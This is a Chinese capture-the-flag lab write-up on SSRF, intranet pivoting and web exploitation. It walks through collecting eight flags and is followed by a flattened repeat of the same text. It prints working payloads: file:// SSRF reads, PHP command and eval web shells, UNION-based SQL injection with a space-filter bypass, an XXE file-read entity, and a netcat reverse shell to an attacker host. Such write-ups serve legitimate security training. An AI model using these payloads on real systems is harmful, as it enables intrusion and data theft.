记录一次坎坷的打靶经历·三
字数 1912 2025-08-11 08:36:18

SSRF漏洞利用与内网渗透实战教学

前言

本教学文档基于一次完整的SSRF漏洞利用和内网渗透实战过程,详细讲解如何从外部Web应用通过SSRF漏洞逐步深入内网,获取多个flag。本案例涉及SSRF漏洞利用、内网主机探测、SQL注入、XXE漏洞、代理隧道搭建等多个知识点。

环境概述

  • 目标网络:外部IP开放80端口
  • 内网网段:192.168.0.0/24和10.10.0.0/24
  • 共8个flag分布在不同的系统和位置

0x01 Flag1获取 - SSRF漏洞利用

漏洞发现

目标网站提供了一个"站点快照获取"功能,这通常是SSRF(Server-Side Request Forgery)漏洞的典型场景。

SSRF利用方法

  1. 探测内网

    • 使用file://协议读取本地文件:file:///var/www/html/index.php
    • 通过查看页面源码确认SSRF漏洞存在
  2. 直接读取flag

    • 猜测flag位于根目录:file:///flag
    • 直接获取第一个flag

关键点

  • PHP站点常见的SSRF可利用协议:
    • http://:探测内网主机存活和端口开放
    • gopher://:发送GET/POST请求,攻击内网应用
    • dict://:泄露软件版本信息,操作内网redis
    • file://:读取本地文件

0x02 Flag2和Flag3获取 - 内网主机探测与Web Shell利用

内网探测

  1. 使用file://协议查看网络信息:

    • 发现192.168.0.2/24网段
  2. 通过SSRF探测内网主机:

    • 构造请求:http://192.168.0.1
    • 使用Burp爆破最后一位(1-254)
    • 通过返回包长度判断存活主机
  3. 发现四台内网主机:

    • 192.168.0.10
    • 192.168.0.138
    • 192.168.0.250
    • (另一台未明确提及)

Web Shell利用

  1. 对192.168.0.10进行目录爆破:

    • 发现shell.php文件
    • 内容:<?php system($_GET['cmd']);?>
  2. 执行命令获取flag:

    http://192.168.0.10/shell.php?cmd=ls /       # 查看根目录
    http://192.168.0.10/shell.php?cmd=cat /flag  # 读取flag
    
    • 获取flag2和flag3

0x03 Flag4获取 - SQL注入绕过

目标主机:192.168.0.138

  1. 发现SQL注入点:

    • URL参数:id
    • 初步测试:1' or 1=1# 被过滤
  2. 绕过技术:

    • 空格被过滤,使用+代替
    • 构造payload:
      ?id=-1+and+1=2+union+select+1,2,3,4  # 确定回显点
      ?id=-1+and+1=2+union+select+1,database(),3,4  # 查数据库名
      
  3. 数据提取:

    • 数据库名:bugku_sql
    • 表名:doubleflag(通过order by获取)
    • 列名:flag
    • 最终payload:
      ?id=-1+and+1=2+union+select+1,database(),3,flag+from+bugku_sql.flag
      

0x04 Flag7和Flag8获取 - XXE漏洞利用

目标主机:192.168.0.250

  1. 建立代理隧道:

    • 通过192.168.0.10的shell下载frpc
    • 使用nc反弹shell:nc -e /bin/sh <攻击者IP> <端口>
    • 给frpc添加执行权限:chmod +x frpc
    • 建立socks5隧道
  2. XXE漏洞利用:

    • 发现登录界面,使用弱口令admin/admin
    • 抓包分析响应,发现XXE漏洞特征
    • 构造XXE payload读取文件:
      <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
      <foo>&xxe;</foo>
      
    • 获取flag7和flag8

0x05 Flag5和Flag6获取 - 深层内网渗透

发现第二层内网

  1. 通过192.168.0.10的shell发现:

    • 另一网段:10.10.0.5/24
  2. 扫描技术对比:

    • fscan扫描无结果
    • proxychains4配合nmap扫描成功:
      proxychains4 nmap -sT -Pn 10.10.0.22 -p 80
      
    • 发现10.10.0.22:80

Web应用渗透

  1. 目录爆破:

    • 发现admin.php
    • 弱口令admin/admin登录
  2. 文件上传漏洞:

    • 进入"文件夹管理"
    • 查看.htaccess文件,确认只解析php
    • 上传php一句话木马:
      <?php @eval($_POST['cmd']);?>
      
    • 使用蚁剑连接
    • 在根目录和网站目录下获取flag5和flag6

总结与关键知识点

  1. SSRF漏洞利用

    • 多种协议的综合利用
    • 内网探测和信息收集
  2. 内网横向移动

    • 从外网到第一层内网(192.168.0.0/24)
    • 从第一层内网到第二层内网(10.10.0.0/24)
  3. 漏洞利用技术

    • SQL注入绕过(空格过滤)
    • XXE漏洞文件读取
    • Web Shell上传与利用
  4. 代理与隧道技术

    • frp内网穿透
    • socks5代理建立
    • proxychains工具使用
  5. 信息收集工具

    • nmap扫描
    • dirb/dirbuster目录爆破
    • Burp Suite抓包与爆破
  6. 权限维持

    • NC反弹Shell
    • 一句话木马上传

通过本案例,可以系统学习从外网到内网的多层渗透技术,掌握多种漏洞的综合利用方法。

SSRF漏洞利用与内网渗透实战教学 前言 本教学文档基于一次完整的SSRF漏洞利用和内网渗透实战过程,详细讲解如何从外部Web应用通过SSRF漏洞逐步深入内网,获取多个flag。本案例涉及SSRF漏洞利用、内网主机探测、SQL注入、XXE漏洞、代理隧道搭建等多个知识点。 环境概述 目标网络:外部IP开放80端口 内网网段:192.168.0.0/24和10.10.0.0/24 共8个flag分布在不同的系统和位置 0x01 Flag1获取 - SSRF漏洞利用 漏洞发现 目标网站提供了一个"站点快照获取"功能,这通常是SSRF(Server-Side Request Forgery)漏洞的典型场景。 SSRF利用方法 探测内网 : 使用 file:// 协议读取本地文件: file:///var/www/html/index.php 通过查看页面源码确认SSRF漏洞存在 直接读取flag : 猜测flag位于根目录: file:///flag 直接获取第一个flag 关键点 PHP站点常见的SSRF可利用协议: http:// :探测内网主机存活和端口开放 gopher:// :发送GET/POST请求,攻击内网应用 dict:// :泄露软件版本信息,操作内网redis file:// :读取本地文件 0x02 Flag2和Flag3获取 - 内网主机探测与Web Shell利用 内网探测 使用 file:// 协议查看网络信息: 发现192.168.0.2/24网段 通过SSRF探测内网主机: 构造请求: http://192.168.0.1 使用Burp爆破最后一位(1-254) 通过返回包长度判断存活主机 发现四台内网主机: 192.168.0.10 192.168.0.138 192.168.0.250 (另一台未明确提及) Web Shell利用 对192.168.0.10进行目录爆破: 发现 shell.php 文件 内容: <?php system($_GET['cmd']);?> 执行命令获取flag: 获取flag2和flag3 0x03 Flag4获取 - SQL注入绕过 目标主机:192.168.0.138 发现SQL注入点: URL参数: id 初步测试: 1' or 1=1# 被过滤 绕过技术: 空格被过滤,使用 + 代替 构造payload: 数据提取: 数据库名: bugku_sql 表名: double 和 flag (通过 order by 获取) 列名: flag 最终payload: 0x04 Flag7和Flag8获取 - XXE漏洞利用 目标主机:192.168.0.250 建立代理隧道: 通过192.168.0.10的shell下载frpc 使用nc反弹shell: nc -e /bin/sh <攻击者IP> <端口> 给frpc添加执行权限: chmod +x frpc 建立socks5隧道 XXE漏洞利用: 发现登录界面,使用弱口令 admin/admin 抓包分析响应,发现XXE漏洞特征 构造XXE payload读取文件: 获取flag7和flag8 0x05 Flag5和Flag6获取 - 深层内网渗透 发现第二层内网 通过192.168.0.10的shell发现: 另一网段:10.10.0.5/24 扫描技术对比: fscan 扫描无结果 proxychains4 配合 nmap 扫描成功: 发现10.10.0.22:80 Web应用渗透 目录爆破: 发现 admin.php 弱口令 admin/admin 登录 文件上传漏洞: 进入"文件夹管理" 查看 .htaccess 文件,确认只解析php 上传php一句话木马: 使用蚁剑连接 在根目录和网站目录下获取flag5和flag6 总结与关键知识点 SSRF漏洞利用 : 多种协议的综合利用 内网探测和信息收集 内网横向移动 : 从外网到第一层内网(192.168.0.0/24) 从第一层内网到第二层内网(10.10.0.0/24) 漏洞利用技术 : SQL注入绕过(空格过滤) XXE漏洞文件读取 Web Shell上传与利用 代理与隧道技术 : frp内网穿透 socks5代理建立 proxychains工具使用 信息收集工具 : nmap扫描 dirb/dirbuster目录爆破 Burp Suite抓包与爆破 权限维持 : NC反弹Shell 一句话木马上传 通过本案例,可以系统学习从外网到内网的多层渗透技术,掌握多种漏洞的综合利用方法。